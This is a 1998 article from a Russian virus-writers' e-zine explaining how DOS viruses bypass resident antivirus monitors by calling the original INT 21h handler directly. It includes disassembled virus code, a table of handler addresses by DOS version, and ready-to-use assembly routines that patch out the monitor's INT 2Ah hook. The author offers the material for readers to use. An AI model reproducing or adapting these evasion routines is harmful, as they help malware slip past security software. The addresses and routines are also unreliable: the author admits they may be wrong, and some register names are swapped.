[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998 file 002
ОБХОД РЕЗИДЕНТНЫХ АНТИВИРУСНЫХ МОНИТОРОВ
ПРЯМЫМ ОБРАЩЕНИЕМ К ДОС
by DrMad
ВВЕДЕНИЕ
1. ОПРЕДЕЛЕНИЕ АДРЕСА ОРИГИНАЛЬНОГО ОБРАБОТЧИКА ДОС
1.1. МЕТОД ТРАССИРОВКИ
1.2. ЭКЗОТИЧЕСКИЕ МЕТОДЫ
1.3. МЕТОД ПРЕДОПРЕДЕЛЕННЫХ АДРЕСОВ
2. БОРЬБА С АНТИВИРУСНЫМИ МОНИТОРАМИ
2.1. ОПИСАНИЕ РАБОТЫ АНТИВИРУСНОГО МОНИТОРА
2.2. КОНСТРУИРОВАНИЕ НЕОТСЛЕЖИВАЕМОГО ОБРАЩЕНИЯ К ДОС
2.3. ПРИМЕР РЕАЛИЗАЦИИ
ЗАКЛЮЧЕНИЕ
ЛИТЕРАТУРА
ВВЕДЕНИЕ
Обычно все "нормальные" программы используют сервис ДОС
так:
mov ah, ...
int 21h
По команде int управление передается в точку, адрес кото-
рой определяется двумя словами, размещающимися в таблице век-
торов прерываний, начиная с адреса 0 : 84h. С этого момента
начинают исполняться многочисленные команды многочисленных об-
работчиков прерывания int 21h многочисленных резидентных прог-
рамм до тех пор, пока управление, наконец, не передается ори-
гинальному обработчику, принадлежащему операционной системе:
Программа -> Обраб. 1 -> Обраб. 2 ->... -> Обраб. ДОС
Разумеется, среди этих многочисленных обработчиков может
затесаться обработчик, принадлежащий антивирусному монитору. А
это, блин, такой мерзкий тип, который не дает спокойно рабо-
тать не только вирусам, но и подчас обычнымм программам.
Поэтому "продвинутые" вирусы и некоторые "умные" программы
пытаются определить адрес оригинального обработчика и обра-
титься к нему напрямую, в обход остальных обработчиков:
Программа ┐ Обраб. 1 -> Обраб. 2 ->... ┌> Обраб. ДОС
└──────────────────────────────┘
Делается это примерно так:
mov ah, ...
pushf
call dword ptr O21
...
O21 dw ?
S21 dw ?
Но коварные антивирусные мониторы учитывают эту возмож-
ность и предпринимают свои злодейские меры.
1. ОПРЕДЕЛЕНИЕ АДРЕСА ОРИГИНАЛЬНОГО ОБРАБОТЧИКА ДОС
Для того, чтобы обратиться к ДОС напрямую, нужно знать
адрес оригинального обработчика. Получить этот адрес не так
просто.
1.1. МЕТОД ТРАССИРОВКИ
Чаще всего используется метод трассировки при помощи отла-
дочного прерывания Int1. Например, так поступал много лет на-
зад вирус Yankee 2C ( M2C, Музыкальный ). Вот комментированый
листинг соответствующего фрагмента:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Дизассемблировано и комментировано (с) DrMad ;;
;; ( не значимые для понимания фрагменты алгоритма ;;
;; пропущены ) ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
................ [ порезано ] .............................
; Берем из таблицы векторов текущий адрес Int01
mov ax,3501
int 21h
mov si,bx ; смещение сохраняем в si
mov di,es ; сегмент сохраняем в di
................ [ порезано ] .............................
; Устанавливаем свой обработчик Int01
mov ax,2501h
mov dx,offset Int01
int 21h
; Формируем в стеке адреса выхода из трассировки
; так, чтобы по iret из 21h попаcсть сразу на Next
................ [ порезано ] .............................
pushf ; Флаги
................ [ порезано ] .............................
; К этому моменту ax = offset Next
push cs ; Сегмент точки выхода
push ax ; Смещение точки выхода (offset Next)
cli
; Манипулируем с битом Т в регистре флагов
pushf ; Сохраняем флаги в стеке
pop ax ; Выгружаем их в ax
or ax,100h ; Устанавливаем в ax бит Т
push ax ; Сохраняем флаги с битом T=1 в стеке
................ [ порезано ] .............................
; Сейчас cs:ax содержит адрес текущего обработчика Int21
push cs ; Сегмент точки перехода
push ax ; Смещение точки перехода
iret ; Фактически, Int21h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Обработчик Int01 ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Int01:
; В этот момент в стеке:
; ss:[bp+6] флаги
; ss:[bp+4] cs
; ss:[bp+2] ip
push bp
; ss:[bp] bp
mov bp,sp
;
cmp byte ptr cs:data_50e,1 ; Флаг продолжения = 1 ?
je loc_64 ; Да - продолжаем
loc_63: ; Нет - кончаем
and word ptr [bp+6],0FEFFh ; В флагах бит T := 0
mov byte ptr cs:data_50e,0 ; Флаг продолжения := 0
pop bp
iret ; Выходим из обработки
loc_64:
cmp word ptr [bp+4],300h ; cs в стеке < 300h ???
jb loc_65 ; Да - дошли до ДОС
pop bp ; Нет - трассируем далее
iret ;
loc_65:
push bx
mov bx,[bp+2] ; Берем из стека ip ДОС
mov cs:data_38e,bx ; Сохраняем
mov bx,[bp+4] ; Берем из стека cs ДОС
mov word ptr cs:data_38e+2,bx ; Сохраняем
pop bx
jmp short loc_63 ;
; Фрагмент восстановления из трассировки
Next:
mov byte ptr ds:data_50e,0 ; Флаг продолжения = 0
; Восстанавливаем прежнее значение Int01
mov ax,2501h
mov dx,si
mov ds,di
int 21h
В настоящее время этот алгоритм можно считать несколько
устаревшим. Дело в том, что современные весии ДОС могут разме-
щать свой обработчик в областях верхней памяти. Поэтому усло-
вие окончания трассировки должно выглядеть например так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],0f000h
ja loc_65
Как вариант, возможно использование следующего приема.
Сначала определяется "родной" сегмент ДОС при помощи недоку-
ментированной функции 52h ( возвращает адрес List of Lists ):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следу-
ющим образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz loc_65
Разумеется, разные приемы могуть дать разные результаты.
Причем все результаты можно считать в той или иной мере "пра-
вильными". Дело в том, что современные версии ДОС, даже будучи
загружены в верхнюю память, всегда имеют точку входа в нижней
памяти вида:
nop
nop
call Check_A20 ; Проверка адресной линии
jmp cs: dword ptr HI_DOS ; Переход в верхнюю память
С точки зрения обхода резидентных мониторов "самым пра-
вильным" следует признать адрес в обработчике ДОС, имеющий
максимальное значение. Мы еще вернемся к вопросу о нахождении
"правильного адреса" далее.
Авторы антивирусных мониторов знают о подобном приеме по-
иска оригинального адреса ДОС. Достаточно легко обломит трас-
сировку, например, вот такой вот фрагмент, встроенный в
цепочку обработчиков (идея Ю. Косивцова) :
pop ss ; Сбивает трассировку на 1 шаг !
int 60h
nop ; Сюда должно вернуться прерывание
nop ; Сюда оно реально вернется,
; и флаг трассировки будет сброшен
........
Int60:
sti
push bp
mov bp, sp
add [bp+2], 1 ; Изменяем в стеке адрес возврата
pop bp
retf 2
Кроме того, факт трассировки можно достаточно просто
обнаружить, использовав хорошо известный разработчикам защит
от несанкционированного копирования прием аппаратного конвейе-
ра:
mov Metka, 9090h
Metka: jmp NoTrace
Trace:
........
NoTrace:
........
Наконец, тот же Ю. Косивцов забивает последний гвоздь в
гроб идеи использовать трассировку:
"Выставленный флаг трассировки можно выявить косвенно, за-
маскировав аппаратные прерывания, поместив в [SP-1] контроль-
ное значение и дав инструкцию STI. Тогда по изменению слова в
стеке можно судить, было трассировочное прерывание или нет."
Выявив факт трассировки ДОСовского прерывания, мониторы
начинают кричать, вопить, брызгать слюнями... короче, только
самый тупой юзырь не догадается, что кто-то (например, вирус)
пытается залезть в систему.
1.2. ЭКЗОТИЧЕСКИЕ МЕТОДЫ
Таких методов немало, но все они сопряжены с техническими
трудностями. Тем не менее, кратко остановимся на некоторых из
них.
И. Данилов ( файл virlist.web ):
"MTZ.PinkPanther.4510, MTZ.PinkPanther.5081. Очень остро-
умно определяют оригинальный адрес обработчика INT 21h, перех-
ватив INT 6 и "забив" ядро DOS байтами 0FFh, предварительно
скопировав данное ядро в область UMB."
Поясним, что INT 6 автоматически вызывается при попытке
процессора выполнить "нестандартную" команду. Перехватив это
прерывание, вирус извлекает из стека адрес (CS и IP) той точки
памяти, которая раньше принадлежала ДОС и куда в результате
передалось управление. А ДОС "временно вышел погулять". ;-)
Возможна модификация этой идеи, заключающаяся в следующем:
область ДОС-памяти забивается не кодом 0FF, а кодом 0CC ( это
однобайтовый вариант команды IТЕ 3 ). Перехватывать в этом
случае нужно именно 3-е прерывание, а дальше все аналогично.
Интересный прием поиска оригинального адреса Int21 родился
в результате проводимого в 1994 году на страницах журнала "Мо-
нитор" конкурса короткого кода. Он основан на следующем факте:
недалеко от точки входа в оригинальный обработчик ДОС находит-
ся вызов прерывания 2A (байты CD 2A). Зная структуру начала
оригинального обработчика, ( например, то, что недалеко от
точки входа имеются команды mov ah, cl / jmp short xxxx ),
можно найти эту точку входа. Фрагмент поиска:
mov ah, 52h ; Возвращает адрес
int 21h ; List Of Lists
mov bx, word ptr cs:[bx+4]
lds bx, dword ptr es:[bx-4]
LoopF:
dec bx
cmp word ptr ds:[bx-4], 0E18Ah
jne LoopF
Вопрос из зала: а в МСДОС версии 7 работать будет? А в
ДРДОС? А в Физтех-ДОС ? Ответ - не знаю, проверьте !
1.3. МЕТОД ПРЕДОПРЕДЕЛЕННЫХ АДРЕСОВ
И тут мы переходим к методу определения оригинального ад-
реса точки входа в ДОС, основанному на том, что эти адреса для
разных версий и конфигураций ДОС имеют в общем случае различ-
ные значения, но число их ограничено.
А это значит, что их можно просто-напросто выбирать из не
особенно большой таблицы - voila!
Прием также не новый, но незаслуженно забытый. Пример (ви-
рус Terror.1085):
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Дизассемблировано и комментировано (с) DrMad ;;
;; ( не значимые для понимания фрагменты алгоритма ;;
;; пропущены ) ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
d_108 dw 17D0h
............ [ порезано ] ............................
d_10C dw 0F7Ah
............ [ порезано ] ............................
loc_7:
mov ah,30h ; Запросить код
int 21h ; версии ДОС
mov bx,102h
cmp ax,0A03h ; Это 3.10 ?
jne loc_8 ; Нет - идем дальше
mov ax,70h ; Сегмент = 70h
mov bx,0D43h ; Смещение = 0D43h
mov es,ax
cmp byte ptr es:[bx],2Eh ; Правильный байт = 2Eh ?
jne loc_9 ; Нет - значит а/в монитор
mov ax,bx ;
jmp short loc_10 ; На заполнение адреса
loc_8:
add bx,4
cmp ax,1403h ; Это 3.20 ?
je loc_9 ; Да - на loc_9
add bx,4 ; Нет - идем дальше
cmp ax,1E03h ; Это 3.30 ?
je loc_9 ; Да - на loc_9
; Нет - фрагмент возмездия :-(((
............... [ порезано ] ............................
loc_9:
mov ax,cs:[bx+2] ; Смещение точки входа из таблицы
; cs:108h или cs:10Ch
loc_10:
mov dx,cs:[bx]
mov cs:data_18,ax ; Смещение
mov cs:data_19,70h ; Сегмент = 70h
Имея программу, основанную на одном из ранее описанных
способов определения реального адреса обработчика ДОС, загру-
зочные дискеты с разными версиями ДОС и немножко терпения,
можно получить примерно вот такую информацию.
Оригинальный обработчик ДОС версии 3.30 всегда имеет вид:
2E CS: ; <- Точка 0
891EB800 MOV [00B8],BX ;
2E CS: ;
8C06BA00 MOV [00BA],ES ;
CB RETF ;
...............................
2E CS: ; <- Точка 1
3A26FF0D CMP AH,[0DFF] ; Проверка на max
77DC JA 1443 ;
80FC51 CMP AH,51 ;
74A1 JZ 140D ;
....................... ;
80FC64 CMP AH,64 ;
74BA JZ 143A ;
; <- Точка 2
Оригинальные обработчики ДОС версий 5.0 - 7.0 очень похо-
жи. В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в
нижних адресах памяти. Большинство алгоритмов трассировки за-
канчивают работу, достигнув этой точки. Для ДОС версий 5.0 -
6.22 этот фрагмент имеется, если в CONFIG.SYS присутствует
строка DOS=HIGH вне зависимости от того, наличествует ли за-
пуск поддерживающего эту опцию драйвера HIMEM.SYS. Если драй-
вера нет, то JMP FAR просто указывает на фрагмент 2, размещаю-
щийся в нижних областях памяти. Если строки DOS=HIGH нет, то
фрагмент 1 вырожден (состоит из одной команды внутрисегментно-
го перехода), и обработчик состоит из фрагмента 2.
90 NOP ; <- Точка 0
90 NOP ;
E8CC00 CALL CheckA20 ;
2E CS: ;
FF2E6A10 JMP FAR NEXTDOS ;
Фрагмент 2 может располагаться как в верхних, так и в ниж-
них адресах памяти (см. выше).
NEXTDOS:
FA CLI ; <- Точка 1
80FC6C CMP AH,6C ; Проверка на Max
77D2 JA 40D0 ;
...................... ;
80FC50 CMP AH,50 ;
748E JZ 40A9 ;
; <- Точка 2
Для ДОС 7.0 структура обработчика в-общем такая же, за ис-
ключением того, что фрагмент 1 присутствует всегда, вне зави-
симости от содержимого файла CONFIG.SYS. По крайней мере,
автору не удалось принудительно загрузить ДОС 7.0 в нижние об-
ласти памяти.
Теперь приведем конкретные значения адресов, полученные
для разных случаев (2 раза проверял, но в правильности адресов
все еще не уверен):
ДОС 7.0 (русская версия)
Точка 0 00C9:0FB2 9090
Точка 1 FF03:41E7 80FA
Точка 2 FF03:420A 1E06
Точка 2А FF03:5333 2ACD
ДОС 6.20
device=himem.sys
dos=high
Точка 0 0123:109E 9090
Точка 1 FDC8:40F8 80FA
Точка 2 FDC8:411B 1E06
Точка 2A FDC8:41D1 2ACD
ДОС 6.20
dos=high
Точка 0 0123:109E 03EB
Точка 1 03AC:40F8 80FA
Точка 2 03AC:411B 1E06
Точка 2A 03AC:41D1 2ACD
ДОС 6.20
Точка 1 002A:40F8 80FA
Точка 2 002A:411B 1E06
Точка 2A 002A:41D1 2ACD
ДОС 5.0
device=himem.sys
dos=high
Точка 0 0123:109E 9090
Точка 1 FDC8:40EB 80FA
Точка 2 FDC8:410E 1E06
Точка 2A FDC8:41C4 2ACD
ДОС 5.0
dos=high
Точка 0 0123:109E 03EB
Точка 1 03AC:40F8 80FA
Точка 2 03AC:411B 1E06
Точка 2A 03AC:41D1 2ACD
ДОС 5.0
Точка 1 002A:40EB 80FA
Точка 2 002A:410E 1E06
Точка 2A 002A:41D1 2ACD
ДОС 3.30
Точка 0 0070:05DC 892E (0F7A ???)
Точка 1 0294:1460 3A2E
Точка 2 0294:1480
Точка 2A 0294:151B 2ACD
ДОС 3.10 (см. Террор)
Точка 0 0070:0D43
ДОС 3.20 (см. Террор)
Точка 0 0070:17D0
Точка 2 - это "оптимальная точка", т.е. точка, в которую
целесообразней всего передавать управление с целью обхода ре-
зидентных антивирусных мониторов. Точка 2A - это позиция ко-
манды INT 2Ah, которую ДОС обязательно выполняет в процессе
обработки 21-го прерывания (пригодится нам позже).
В конце каждой строки приведены "контрольные" слова на тот
случай, если по указанному адресу находится нечто иное.
2. БОРЬБА С АНТИВИРУСНЫМИ МОНИТОРАМИ
К сожалению, современные антивирусные мониторы умеют отс-
леживать факт прямого обращения программы с ДОС.
2.1. ОПИСАНИЕ РАБОТЫ АНТИВИРУСНОГО МОНИТОРА
Ю. Косивцов: "Однако защиту 21-го прерывания можно органи-
зовать более эффективно, используя метод встраивания в ядро
операционной системы. Обычно это делается по следующей схеме:
в точку входа INT 21h записывается инструкция JMP FAR для об-
работчика, кторый проверяет номер функции на безопасность, по-
том восстанавливает на нее точку входа INT 21h и делает CALL
FAR на нее. После возврата управления в точку входа ДОС опять
записывается инструкция JMP FAR и управление передается прог-
рамме, которая вызвала INT 21h."
Здесь по сути дела описан обычный сплайсинг, который широ-
ко применяется в узких вирмерских кругах. :-) Отметим, что для
перехода не обязательно использовать JMP FAR ( который занима-
ет 5 байтов в памяти и не всюду его можно воткнуть), а напри-
мер, можно просто INT 3, который занимает всего 1 байт. Зато
непременно требуется обработка вызовов с кодами 0, 4Ch, 31h (
которые не возвращают управление в исходную точку ), а так же
самовызовов ( при завершении процессов посредством INT 27h и
INT 20h). Пример использования сплайсинга можно найти в 1-м
выпуске электронного журнала Infected Voice. К сожалению, это
описание также страдает неполнотой.
Продолжаем следить за мыслью Ю. Косивцова: "Первый компо-
нент [антивирусного монитора] встраивается в ядро ДОС, а вто-
рой просто перехватывает цепочку 21-го прерывания. Когда
програма выполняет инструкцию INT 21h, управление передается
второму компоненту. Он может сделать проверки на опасность
функции, затем выставить переменную "проход цепочки" и пере-
дать управление дальше. При получении управления первым компо-
нентом он проверяет переменную "прохода цепочки". Если она
выставлена, то была инструкция INT 21h, надо сбросить перемен-
ную "проход цепочки" и передать управление ДОС. Если перемен-
ная сброшена, то вызов пришел напрямую и надо принимать меры:
скорее всего, это действие вируса."
Эта идея настолько проста и эффективна, что ее варианты
используют почти все (известные автору) более-менее продвину-
тые антивирусные мониторы. Пример ( по LovinGOD'у ):
"Оттрассировав DOS, я обратился к DOS по оригинальному ад-
ресу. AVPTSR перехватил обращение. В чем дело? AVPTSR перехва-
тывает INT 2Ah, которое обязательно вызывается из INT 21h
(совсем недалеко от начала)... Обработчик INT 8, то есть тай-
мера, периодически восстанавливает вектор 2Ah , если кто-то
его отрубил."
Имеется в виду, что флажок прохода цепочки 21-го прерыва-
ния проверяется в обработчике INT 2A.
2.2. КОНСТРУИРОВАНИЕ НЕОТСЛЕЖИВАЕМОГО ОБРАЩЕНИЯ К ДОС
Сначала ответим сами себе на вопрос: а нафига? Неужели ан-
тивирусные мониторы настолько "бЗдительны", что сводят на нет
любые попытки, например, открыть на запись EXE- или СОМ-файл?
Да, это так и есть.
Итак, мы можем видеть, что авторы антивирусных мониторов
имеют достаточно эффективных средств, чтобы предотвратить пря-
мое обращения к ДОСу со стороны вирусов.
Снова дадим слово Ю. Косивцову: "Для обнаружения действия
нерезидентных вирусов необходимо контролировать вызов функций
ДОС с номерами: 3Dh - открытие файла через описатель, 0F - от-
крытие файла через FCB и 5Dh, подфункция 0 - косвенный вызов
ДОС. Если при открытии файла обнаружено, что расширение его
СОМ, ЕХЕ или SYS, то можно выдавать предупреждающее сообще-
ние."
Список выглядит слишком коротким. Действительно, а если мы
сперва переименуем программный файл? А почему не учтена функ-
ция 6Ch (Расширенное Открытие Файла)? А что будет, если мы от-
кроем файл на чтение, а потом изменим режим доступа прямым об-
ращением к SFT?
Не надо считать авторов антивирусных мониторов совсем уж
тупыми. Просто они никогда не открывают всех своих профессио-
нальных секретов. Например, AVPTSR прекрасно знает и учитывает
вышеперечисленные хитрости.
Итак, "заложимся на пятого туза" и предположим, что гипо-
тетический антивирусный супермонитор:
- отслеживает и блокирует попытки оттрассировать 21-е пре-
рывание;
- для контроля "опасных" номеров функций ДОС использует
сплайсинг и встраивается в начало обработчика ДОС;
- для предотвращения прямого обращения к ДОС использует
флажок, сбрасываемый либо во "врезанном фрагменте", либо (что
более круто) в обработчике прерывания 2А.
Первая проблема достаточно просто решается с использовани-
ем "метода предопределенных адресов".
Для решения второй проблемы проанализируем возможное мес-
тоположение в обработчике ДОС точки перехода на антивирусный
монитор. Из самых простых рассуждений видно, что это может
быть точка 0, либо точка 1. Как самый крутой вариант можно
предположить, что врезка происходит в точку, непосредственно
следующую за командой "Проверка на Max". Далее обработчик ДОС
растекается на многочисленные ручейки, поэтому автор антиви-
русного монитора врядли решится отслеживать их все по отдель-
ности. По крайней мере, обработчики функций 0Fh, 3Dh и 5Fh
располагаются в разных ручейках. Но нам может помочь тот факт,
что мы будем использовать ограниченный набор функций, и жела-
тельно, чтобы все они размещались в одном ручейке. И - о уда-
ча! - функции 3Сh - 43h, отвечающие за создание-открытие-зак-
рытие-чтение-запись-атрибуты-перемещение действительно распо-
лагаются в одном общем - главном ручейке. Это дает нам возмож-
ность использовать в качестве адреса для прямого обращения к
ДОС - адрес точки 2. Сюда-то монитор хрен доберется! :-)
Третья проблема также не вызывает трудностей. LovinGod
предлагает замаскировать прерывания таймера и изменить вектор
8-го прерывания перед прямым обращением к ДОС. Вместо измене-
ния вектора можно попробовать также вставку команды IRET в на-
чало текущего (антивирусного) обработчика. Мы же попытаемся
использовать все тот же метод "предопределенных адресов". Зная
положение команды INT 2Ah в обработчике ДОС, перед прямым об-
ращением к ДОС просто "забъем" этот вызов двумя командами NOP.
2.3. ПРИМЕР РЕАЛИЗАЦИИ
Реализуем две подпрограммы, которые могут быть использова-
ны для прямого обращения к ДОС.
Подпрограмма SetAdr предназначена определения адреса обра-
ботчика ДОС методом предопределенных адресов. Для версий ДОС,
для которых "правильный адрес" неизвестен, используется стан-
дартный способ определения адреса.
Подпрограмма CallDOS предназначена для прямого обращения к
ДОС. Дабы не возникало соблазна использовать эту подпрограмму
для вызова "безопасных" функций, в код включена проверка на
номер функции. Для "безопасных" функций предусмотрен обычный
вызов ДОС при помощи команды INT 21h.
;
; Процедура установки адреса
; (Один из самых коротких, хотя и подозрительных
; вариантов реализации)
;
SetAdr proc near
mov si, offset Table
mov es, [si]
mov bx, [si+2]
Next:
cmp es:[bx], 2ACDh
jnz Skip
mov Ofs2A, bx
mov Seg2A, es
mov ax, [bx+3]
mov Seg21, ax
mov ax, [bx+4]
mov Ofs21, ax
Skip:
add bx, 4
cmp [bx], 0
jnz Next
;
mov ax, 3521h
int 21h
mov Ofs21, bx
mov Seg21, es
Done:
ret
; Позиция Int2A Оптимальная точка
Table dw 0FF03h, 5333h, 0FF03h, 420Ah
dw 0FDC8h, 41D1h, 0FDC8h, 411Bh
.................................
dw 0
SetAdr endp
;
; Процедура прямого обращения к ДОС
;
CallDOS proc near
cmp ah, 3Bh
jb Trivial
cmp ah, 42h
ja Trivial
; Убиваем вызов 2А
push es
push ax
push bx
mov es, cs:Ofs2Ah
mov bx, cs:Seg2Ah
mov ax, es:[bx]
mov cs: Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
; Обращаемся к ДОС
pushf
call cs:dword ptr Ofs21
; Восстанавливаем вызов 2А
push es
push ax
push bx
mov es, cs: Ofs2Ah
mov bx, cs: Seg2Ah
mov ax, cs: Save
mov es:[bx], ax
pop bx
pop ax
pop es
;
ret
; Обычное обращение к ДОС
Trivial:
int 21h
ret
;
Save dw ?
Ofs21 dw ?
Seg21 dw ?
Ofs2A dw ?
Seg2A dw ?
;
CallDOS endp
ЗАКЛЮЧЕНИЕ
Вдумчивый читатель спросит: нафига так длинно? А адреса
правильные? А почему процедуры так дубово написаны?
Отвечу: дык, основная цель этой статьи - пробудить у чита-
теля интерес. Чтобы ему, бездельнику этакому, захотелось про-
верить результаты и использовать их.
Поэтому, если обнаружите неточность или ошибку - считайте,
что статья своей цели достигла. Вот вам уже и интересно... ;-)
(с) DrMad, 1998
ЛИТЕРАТУРА
1. Ю. Косивцов. Двухкомпонентная антивирусная система.
// Монитор, 3/93 - 48-52.
2. Ю. Косивцов. Конструирование антивирусного сторожа.
// Монитор, 2/94 - С. 70-79.
3. LovinGOD. Описание AVP (Anti-Virus Pro) Касперского.
// Infected Voice #7.
4. IntMaster. Классический сплайсинг на примере INT 21h.
// Infected Voice #7.
5. И. Данилов. Virlist.VEB к DrWeb v3.27.